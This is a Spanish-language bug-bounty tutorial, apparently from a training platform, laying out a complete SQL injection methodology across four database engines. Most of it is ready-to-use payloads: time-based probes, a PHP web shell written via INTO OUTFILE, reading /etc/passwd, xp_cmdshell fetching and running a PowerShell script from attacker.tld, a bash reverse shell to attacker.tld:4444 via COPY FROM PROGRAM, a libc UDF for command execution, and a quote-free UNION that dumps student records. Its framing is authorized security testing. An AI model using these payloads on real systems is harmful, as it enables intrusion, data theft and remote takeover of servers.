Nivel IntermedioGratis

SQL Injection — metodología completa con time-based, UNION y RCE

Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.

Gorka El Bochi9 de mayo de 202614 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

SQLi sigue activo en 2026 — mucho menos común en SaaS modernos pero abundante en apps legacy, panels de admin y campos cross-validados parcialmente. La metodología es: detectar (isomorphic queries) → confirmar (time-based en el motor identificado) → extraer (UNION o boolean-based) → escalar (RCE via OUTFILE, xp_cmdshell o UDFs). Bounties típicos: €1.000-€5.000+ según severidad.


Detección — isomorphic queries

Antes de payloads agresivos, prueba inputs equivalentes que solo dan el mismo resultado si la query se ejecuta:

ContextoTest ATest B (isomorphic)Signal
Numéricoid=1id=2-1Aritmética se ejecuta
Numéricoid=1id=1+''Concat string se ejecuta
LIKEq=Bigq=Big%%Wildcard % no escapado
Stringname=Bigname=Big' 'Quote no escapado

Doble % exitoso revela contexto LIKE (no WHERE =). Más ligero, menos detección WAF, identifica el contexto exacto antes de tirar payloads.


Time-based payloads por motor

MySQL

sql
' AND SLEEP(5)-- -
" AND SLEEP(5)-- -
') AND SLEEP(5)-- -
' AND (SELECT SLEEP(5))-- -
1 AND SLEEP(5)-- -
' OR SLEEP(5)-- -
' AND BENCHMARK(10000000,SHA1('test'))-- -

MSSQL

sql
'; WAITFOR DELAY '0:0:5'-- -
"; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -

PostgreSQL

sql
'; SELECT pg_sleep(5)-- -
' AND (SELECT pg_sleep(5))-- -
1; SELECT pg_sleep(5)-- -
' || pg_sleep(5)-- -

SQLite

sql
' AND 1=RANDOMBLOB(500000000)-- -
" AND 1=RANDOMBLOB(500000000)-- -
') AND 1=RANDOMBLOB(500000000)-- -

Mide la latencia: 200ms → 5+s confirma ejecución. Repite 3 veces para descartar falso positivo por jitter de red.


Identificación del motor

Después de confirmar SQLi, identifica:

TestSi responde rápidoEngine
version()stringMySQL/PostgreSQL
@@versionMSSQL versionMSSQL
sqlite_version()"3.x"SQLite
' UNION SELECT @@version-- string en respuestaMySQL/MSSQL
' AND 1=1::int--OKPostgreSQL

Identificación precisa del motor desbloquea los payloads correctos.


SQL → RCE

Cuando consigues SQLi en un endpoint con permisos suficientes, es RCE en el server. Por motor:

MySQL — INTO OUTFILE web shell

sql
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Requisitos: privilegio FILE, conocer un path escribible servido por el web server.

MySQL — LOAD_FILE

sql
' UNION SELECT LOAD_FILE('/etc/passwd')-- -
' UNION SELECT LOAD_FILE(0x2f6574632f706173737764)-- -   # hex bypass de filtros

MSSQL — xp_cmdshell

sql
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.tld/shell.ps1'')"'-- -

Si xp_cmdshell está deshabilitado, suele bastar reconfigurar (algunos accounts SQL tienen permisos de sp_configure).

PostgreSQL — COPY FROM PROGRAM

sql
'; CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';-- -

'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"';-- -

PostgreSQL — UDF C

sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');

Requiere permisos altos (SUPERUSER).


Bypass cross-field — el caso del enrollment

Cuando los filtros se aplican parcialmente en campos diferentes:

  • Campo A (enrollmentNumber): enforce longitud exacta de 6 caracteres.
  • Campo B (nationalId): eliminan comillas simples y dobles.
scss
enrollmentNumber = 'OR ''            (6 chars exactos, satisface length)
nationalId      = =2 UNION SELECT CONCAT(...)-- -    (sin comillas, pasa quote filter)

La query original:

sql
WHERE a.enrollmentNumber = '$enrollmentNumber'
  AND a.nationalId = '$nationalId'

Con la inyección:

sql
WHERE a.enrollmentNumber='' OR ''' AND a.nationalId='=2 UNION SELECT...-- -'
  1. enrollmentNumber='' → false.
  2. OR ''' → cierra y reabre comillas, convierte AND a.nationalId=' en string.
  3. El contenido del nationalId (sin comillas) se ejecuta como SQL.

UNION sin comillas usando CHAR():

sql
=2 UNION SELECT CONCAT(STUDENTID, CHAR(32), STUDENTNAME, CHAR(32), NATIONALID, CHAR(32), EMAIL) FROM STUDENT WHERE STUDENTID = 10425-- -

Patrón a buscar: apps con múltiples campos donde cada uno tiene validaciones diferentes. Los filtros parciales en campos separados se combinan para bypass completo.


PostgreSQL double-dash injection

Caso curioso: parámetro numérico negativo en operación aritmética.

sql
SELECT balance - ? FROM accounts   -- con param = -1
-- Interpola a: SELECT balance --1 FROM accounts
-- PostgreSQL trata "--1" como line comment (MySQL requiere whitespace después de --)

Requisitos:

  • PostgreSQL (no MySQL/SQLite).
  • Simple query protocol (no extended/prepared statements).
  • Parámetro numérico en contexto aritmético (balance - ?).

Escalación con multi-line string + newline en otro parámetro rompe el comment y permite inyectar SQL arbitrario.

Fix correcto: envolver negativos en paréntesis (-42).


Metodología de hunting

less
[ ] Identificar todos los endpoints con parámetros numéricos
[ ] Aplicar isomorphic queries para detectar primer signal
[ ] Confirmar con time-based del motor identificado
[ ] Extracción mínima (database name, version)
[ ] Decisión: ¿UNION-based, boolean-based, time-based?
[ ] Si privileges altos: probar RCE (OUTFILE/xp_cmdshell/COPY FROM PROGRAM)
[ ] Documentar PoC completo con request + response visible

Burp + sqlmap útil para automatizar partes, pero manual primero para identificar el contexto.


Hunting checklist

  • ¿Hay endpoints donde el ID viaja en URL/body sin parametrización clara?
  • ¿La app tiene admin panels o legacy modules con SQL directo?
  • ¿Los errores son verbose con stack traces de DB?
  • ¿Búsquedas con LIKE (q=)? Probar wildcards y comillas.
  • ¿Parámetros numéricos en operaciones aritméticas? (postgres double-dash).
  • ¿Múltiples campos con validaciones distintas? → cross-field bypass.

Labs relacionados

Practica time-based, UNION extraction y SQLi → RCE en apps con cuatro motores: labs de SQL Injection.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Sqli

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.